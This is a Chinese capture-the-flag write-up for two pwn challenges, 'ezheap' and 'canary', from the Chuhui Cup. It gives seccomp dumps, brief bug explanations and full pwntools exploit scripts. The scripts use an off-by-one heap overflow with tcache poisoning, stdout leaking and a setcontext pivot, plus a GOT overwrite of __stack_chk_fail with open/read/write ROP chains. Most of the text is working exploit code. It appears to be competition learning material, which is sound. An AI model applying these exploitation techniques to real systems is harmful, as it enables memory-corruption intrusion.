楚慧杯
ezheap
查看发现有沙箱,禁止execve,那就直接ORW。
seccomp-tools dump '/home/ben/Desktop/attack_world/chuhui_CUP/ezheap'
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
题目中的Edit函数存在明显的Off by One。
read(0, (void *)store_heapaddr[v1], store_heapsize[v1] + 1);
利用Gift泄露pie,搜到一个方法,利用改stdout,泄露libc blog.detectivelfy.top/2022/04/16/…
然后就都知道了,可以伪造堆块来任意地址写,利用ORW就可以获取flag了。
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("/home/ben/Desktop/attack_world/chuhui_CUP/ezHeap/ezheap")
elf=ELF("/home/ben/Desktop/attack_world/chuhui_CUP/ezHeap/ezheap")
libc=ELF("/home/ben/Desktop/glibc/glibc_all_in_one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
# print(libc.search(asm("pop rdi\nret")).__next__())
# pause()
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
def cmd(i):
sla(b'Your choice:',str(i))
def add(idx,size):
cmd(1)
sla(b'index:',str(idx))
sla(b'Size:',str(size))
def free(idx):
cmd(3)
sla(b'index:',str(idx))
def show(idx):
cmd(4)
sla(b'choose:',str(idx))
def edit(idx,con):
cmd(2)
sla(b'index:',str(idx))
sa(b'context:',con)
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
add(0,0x18) #0
add(1,0x68) #1
add(2,0x68) #2
add(3,0x18) #3
# 利用off by one 伪造下一个的大小为0xd0
edit(0,b'\x00'*0x18+p8(0xe1))
# 释放1号块
free(1)
add(4,0xd8)
# 查看地址
show(4)
rl(b'\n')
# 获得偏移
pie=int(p.recv(14),16)-0x202160
free(2)
# 伪造堆块,并填入stdout,目的是为了泄露libc地址
# https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/
# 超出1号块的位置实际是在改已经free的2号块
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
# 申请的是2号块的位置
add(5,0x68)
# 申请的是伪造块的位置
add(6,0x68)
# 申请的是stdout的位置
add(7,0x68)
# 获取libc
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
# print(p.recv())
# print(p.recv())
# print(p.recv())
libc_base=get_addr()-0x3ed8b0
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
ret = libc_base+libc.search(asm("ret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
jmp_rsp=libc_base+libc.search(asm("jmp rsp")).__next__()
free_hook=libc_base+libc.sym['__free_hook']
# fldenv byte pte [rcx]
# https://www.cnblogs.com/pwnfeifei/p/15819825.html
setcontext=libc_base+libc.sym['setcontext']+53
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']
payload=(b'\x00'*0x68+p64(0)+p64(free_hook&0xfffffffffffff000)+p64(0)*2+p64(0x2000)).ljust(0xa0,b'\x00')+p64(free_hook&0xfffffffffffff000)+p64(syscall)
# ORW
add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook))
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext))
add(15,0x400)
edit(15,payload)
free(15)
payload = p64(rdi)+p64(free_hook&0xfffffffffffff000)
payload += p64(rsi)+p64(0x1000)
payload += p64(rdx)+p64(7)
payload += p64(rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))
sl(payload)
p.interactive()
canary
seccomp-tools dump '/home/ben/Desktop/attack_world/chuhui_CUP/canary/canary'
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
又是不让用execve依旧ORW,这个架构限定不知道作用是什么,然后系统调用号不能大于等于0x40000000,因为标准系统调用号通常小于0x40000000,这里是防特殊调用,然后0xffffffff不知道意义是什么。
相对来说更简单,因为可以不用找canary。
mov rax, QWORD PTR [rbp-8]
xor rax, fs:0x28
jne __stack_chk_fail
可以直接改错误处理函数__stack_chk_fail来肆无忌惮地改,然后可以直接拼ROP链来ORW。
from pwn import*
from struct import pack
from pwn import p64,p32,p16,p8,u64,u32
import ctypes
context(log_level = 'debug',arch = 'amd64')
p=process('/home/ben/Desktop/attack_world/chuhui_CUP/canary/canary')
elf=ELF('/home/ben/Desktop/attack_world/chuhui_CUP/canary/canary')
libc=ELF('/home/ben/Desktop/glibc/glibc_all_in_one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
vuln=elf.sym["vuln"]
stack_fail_got=elf.got['__stack_chk_fail']
p.sendafter("Say some old spells to start the journey\n",p64(vuln))
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(stack_fail_got))
p.sendafter("I have magic\n",p64(0x400a5f)) #pop 3
pop_rdi=elf.search(asm("pop rdi\nret")).__next__()
pop_rsi_r15=elf.search(asm("pop rsi\npop r15\nret")).__next__()
read_got=elf.got["read"]
write_addr=elf.plt["write"]
# rdi=1 rsi=got[read] write vuln
payload=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_addr)+p64(vuln)
p.sendafter("Let's go!\n",payload)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x110fa0
print("libc_base:")
bss=0x601060+0x800
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(bss))
p.sendafter("I have magic\n",b'flag\x00\x00\x00\x00') #pop 3
pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
# pop_rax=libc_base+0x36174
pop_rax=libc_base+0x162829
# pop_rdx_r12=libc_base+0x119431
pop_rdx_r12=libc_base+ 0x11c1e1
# 0x000000000004a7d6: syscall; pop rbp; ret;
# syscall_ret=libc_base+0x47656 #syscall pop_rbp ret
syscall_ret=libc_base+0x4a7d6
payload=p64(pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(0) # O
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)+p64(0) # R
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(1)+p64(syscall_ret)+p64(0) # W
p.sendafter("Let's go!\n",payload)
p.interactive()